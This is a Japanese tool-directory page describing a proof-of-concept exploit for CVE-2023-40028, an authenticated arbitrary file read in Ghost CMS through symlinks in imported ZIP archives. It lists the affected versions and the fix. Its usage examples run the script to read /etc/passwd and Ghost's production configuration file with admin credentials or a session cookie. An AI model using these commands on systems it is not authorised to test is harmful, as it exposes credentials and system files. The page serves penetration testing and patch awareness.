Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-40028 — CVE-2023-40028 の PoC: Ghost CMS 任意のファイル読み取り | Kitploit
ツール/GitHubGitHub/godylockz/cve-2023-40028
脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出情報収集ペネトレーションテスト
GitHubgodylockz/cve-2023-40028

CVE-2023-40028

CVE-2023-40028 の PoC: Ghost CMS 任意のファイル読み取り

リポジトリを見る
22129日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-40028: Ghost 任意ファイル読み取り

Ghost のコンテンツインポート機能における認証済み任意ファイル読み取り脆弱性 CVE-2023-40028 の概念実証です。細工された ZIP アーカイブが content/images 配下にシンボリックリンクを作成し、スクリプトが Ghost ホストからファイルを要求できるようにします。

Ghost 5.59.1 より前のバージョンが影響を受けます。5.59.1 以降にアップグレードしてください。

これは、自身が所有するシステム、またはテストを許可されているシステムに対してのみ使用してください。

要件

  • Python 3
  • requests
  • Ghost の管理者認証情報、または有効な ghost-admin-api-session Cookie
python3 -m venv .venv
source .venv/bin/activate
python -m pip install requests

使用方法

ユーザー名とパスワードで 1 つのファイルを読み取る:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --username [email protected] \
  --password 'password' \
  --file /etc/passwd

既存の管理者セッション Cookie を使用する:

python3 ghost_fileread.py \
  --url https://ghost.example \
  --cookie 'session-cookie-value' \
  --file /var/lib/ghost/config.production.json

--file を省略すると、対話型の file> プロンプトが開きます。プロキシ、タイムアウト、User-Agent のオプションについては python3 ghost_fileread.py --help を実行してください。

このエンドポイントはテキストを返すため、このツールはテキストファイルを対象としています。細工されたアーカイブをインポートすると、ターゲットの content/images ディレクトリにシンボリックリンクが残ります。

参考資料

  • GitHub advisory: CVE-2023-40028
  • Ghost fix
ツールをダウンロード